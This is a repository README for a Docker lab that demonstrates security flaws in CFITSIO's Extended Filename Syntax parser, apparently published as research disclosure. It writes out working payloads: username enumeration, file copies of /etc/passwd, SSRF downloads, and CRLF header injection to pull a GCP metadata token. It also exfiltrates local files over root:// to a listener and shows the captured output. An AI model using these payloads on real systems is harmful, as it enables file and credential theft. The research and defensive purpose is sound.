Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CFITSIO EFS Security Playground

This project is a self-contained lab for demonstrating the security issues I found in parsers of CFITSIO's Extended Filename Syntax (EFS). The Docker image builds upstream CFITSIO (default tag 4.6.3). Everything runs on Ubuntu 22.04 and the helper binary fits-sample-opener is included for repeatable demos.

Build the playground image

docker build -t cfitsio:4.6.3 .

Override the upstream version with --build-arg CFITSIO_TAG=<tag> or pin an arbitrary ref via --build-arg CFITSIO_GIT_REF=<commit>.

Running experiments

Start disposable containers that mount your working directory into /workspace so the demos can write files you can inspect on the host:

docker run --rm -it -v "$(pwd)":/workspace cfitsio:4.6.3 bash

Use --rm so each demo is isolated, and add --network=host if you need to reach services on the host network while testing SSRF-style payloads.

fits-sample-opener helper

fits-sample-opener is a deliberately simple C program that exercises only a handful of CFITSIO calls. In its default (insecure) mode it calls fits_open_image, logs that the image was opened, issues a single fits_get_img_dim query, and exits. In secure mode (--secure) it switches to fits_open_diskfile, which disables EFS parsing entirely and treats input strings literally. Because the program does so little work, any side effects you observe come directly from CFITSIO's EFS handling, not from higher-level logic in the application.

Vulnerable scenarios

Note that (almost) all of those scenarios are automatically mitigated if the --secure parameter is provided.

Discovering local UNIX users

CFITSIO expands paths like ~username/foo.fits inside drvrfile.c using getpwnam. Calling an application with ~/foo behaves differently from ~nosuchuser/foo depending on whether the account exists, so you can quickly enumerate local usernames based on error messages or timings—even when the target never intended to expose that information.

# Use path traversal from the known existing username - it should work as expected
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '~root/../../../workspace/sample.fits'

# Check if user `bob` also exists on the server?
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '~bob/../../../workspace/sample.fits'
# An error is returned during file opening

Note that, this particular experiment works even if --secure switch is used. This functionality is implemented outside EFS support.

Silent copies via the outfile clause

By design CFITSIO interprets input.fits(out.fits) as "work on input.fits, but first copy it to out.fits." If an application blindly passes user input to fits_open_file, you can clone arbitrary files into any writable location. In our container this lands on the host because /workspace is bind-mounted:

# Copies sample.fits into /workspace/foo on the host
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '/workspace/sample.fits(/workspace/foo)'

# Same trick also exfiltrates sensitive host files!
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '/etc/passwd(/workspace/foo)'

In a real-world scenario, the attacker would copy the files to a world-readable location, e.g. webserver's images directory.

Forced downloads over HTTP(S)

The HTTP/HTTPS drivers obey the same outfile clause. Point them at any remote URL and CFITSIO will download the response to your chosen path before returning control to the caller:

docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener 'https://example.com/anyfile(/workspace/grabbed.file)'

This effectively turns applications that use CFITSIO into SSRF gadgets that can save web content anywhere the process has write access. Both URL handlers accept basically whatever you put into a standard URL string. In particular, they accept local IP addresses and arbitrary ports.

Injecting arbitrary HTTP headers

The HTTP driver builds requests with snprintf(tmpstr,"GET %s HTTP/1.0\r\n", fn); and never sanitizes fn. If you embed \n sequences in the filename portion of an EFS URL, CFITSIO will include them verbatim in the request, letting you choose your own method, headers, or even change the protocol version. For example:

# Inject headers expected by GCP's metadata services and exfiltrate data to a file
docker run --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1\nMetadata-Flavor: Google\nfoo:(/workspace/output.txt)'

produces a request equivalent to:

GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
Metadata-Flavor:Google
foo:.gz HTTP/1.0
User-Agent: FITSIO/HEASARC/4.0603  
Host: 169.254.169.254:80

This is both a CRLF-injection bug and an SSRF primitive with arbitrary headers, giving an attacker full control over outbound HTTP requests originating from the victim process. On the GCP instance, the sensitive token is exfiltrated to the /workspace/output.txt file.

Local File Exfiltration

Lastly, the most powerful primitive that I've discovered.

CFITSIO also ships the legacy root:// driver, which talks to CERN’s rootd protocol and can stream files to a remote server specified inside the EFS string. The CFITSIO uses a slightly modified version which supports a command to return the length of the file which should be hosted here. To demonstrate this without running a full ROOT deployment, use the root.py stub in this repository. It merely accepts the initial handshake and logs any data it receives, so you can watch exactly what a compromised process would transmit.

Environment caveat

The root_openfile method implemented in the drvrnet.c:4265 file has an interesting property. It checks for a presence of ROOTUSERNAME and ROOTPASSWORD environment variables and if they're not defined, it calls fgets to read those values from the stdin. Realistically, it's unlikely that a third-party code will ever have those variables defined. In many cases, the exploitation will be interrupted by an infinite blocking for the input. We can easily demonstrate this behavior by running our fits-sample-opener program interactively.

However! fgets will immediately return NULL any time the CFITSIO client’s stdin is closed or redirected to EOF. That happens in plenty of real deployments (container, crob jobs, piplines, ...). Well, we can also assume that there are some legacy NASA servers out there where those variables are set and the exploit can simply continue.

Image format caveat

Also, the routine will happily work only with FITS files. Stealing FITS files might be a real risk but it's definitively less practical. To steal arbitrary files, we can use another trick offered by the EFS syntax. The [b...] raw-data clause tells CFITSIO to fabricate a single primary HDU from the arbitrary byte stream. We can mix in some other filters to convert any raw data into a valid FITS file using the [b500,1][*,*] syntax. The number 500 here, tells the application to exfiltrate exactly 500 bytes. It's ok if the file is bigger than that, but insufficient number of bytes will break the exploit so you might need to start with small numbers.

Launch the stub on your host. This will start a listener on 0.0.0.0:1094:

python3 ./root.py

Then point a vulnerable program at it from inside the container:

docker run --network=host --rm -v "$(pwd)":/workspace cfitsio:4.6.3 \
  fits-sample-opener '/etc/passwd(root://127.0.0.1:1094//foobar)[b500,1][*,*]'

Because the string contains an outfile clause with a root:// URL, CFITSIO opens the local file, apply requested filters, and then pushes a full copy over your stub server, even though nothing in fits-sample-opener requested any outbound I/O. The stub prints each PUT offset/length plus a preview of the bytes so you can confirm the leak.

The example output is:

$ python3 ./root.py
Listening on 0.0.0.0:1094 for rootd clients...
Connection from ('127.0.0.1', 44562)
recv_message: len=4 op=ROOTD_USER payload_len=0
Username:
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=4 op=ROOTD_PASS payload_len=0
Password bytes: b''
send_message: op=ROOTD_AUTH payload_len=4
recv_message: len=19 op=ROOTD_OPEN payload_len=15
Open request: //foobar create
send_message: op=ROOTD_OPEN payload_len=4
Handshake complete; entering data loop.
recv_message: len=12 op=ROOTD_PUT payload_len=8
handle_session: received ROOTD_PUT (2005) payload=b'0 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 0
PUT offset=0 length=2880 preview=b'SIMPLE  =                    T / file does conform to FITS stand'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=15 op=ROOTD_PUT payload_len=11
handle_session: received ROOTD_PUT (2005) payload=b'2880 2880 \x00'
handle_session: expecting 2880 bytes for PUT data at offset 2880
PUT offset=2880 length=2880 preview=b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/u'...
send_message: op=ROOTD_PUT payload_len=4
recv_message: len=4 op=ROOTD_FLUSH payload_len=0
handle_session: received ROOTD_FLUSH (2007) payload=b''
FLUSH requested
send_message: op=ROOTD_FLUSH payload_len=4
Connection closed while attempting to reply.
Captured file content (5760 bytes):
SIMPLE  =                    T / file does conform to FITS standard             BITPIX  =                    8 / number of bits per data pixel                  NAXIS   =                    2 / number of data axes                            NAXIS1  =                  500 / length of data axis 1                          NAXIS2  =                    1 / length of data axis 2                          EXTEND  =                    T / FITS dataset may contain extensions            COMMENT   FITS (Flexible Image Transport System) format is defined in 'AstronomyCOMMENT   and Astrophysics', volume 376, page 359; bibcode: 2001A&A...376..359H END                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin

Other experiments

All of the standard CFITSIO utilities (e.g., fitscopy, fpack) are present in the image, so you can swap fits-sample-opener for any tool and see how it responds to crafted EFS payloads. Note that, fitsverify uses the secure fits_open_diskfile method but for other reasons: "This allows for file paths with special characters (e.g. brackets) that would otherwise fail"

Files in this directory

  • Dockerfile – builds CFITSIO and installs the helper binary.
  • fits-sample-opener.c – the reference program that toggles between insecure and secure open routines.
  • sample.fits – benign sample image used in demos.
  • root.py - simple rootd implementation. It is intentionally minimal and not a production-ready. Its sole purpose is to capture whatever the CFITSIO client emits.

Pull requests are welcome if you discover more parser quirks or want to document countermeasures.

Credits

This repository has been created by Adrian Denkiewicz of Doyensec LLC during his 25% research time.

Doyensec Research

About

A Docker-based playground for demonstrating CFITSIO Extended Filename Syntax (EFS) security issues, complete with helper binaries, sample payloads, and capture scripts.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages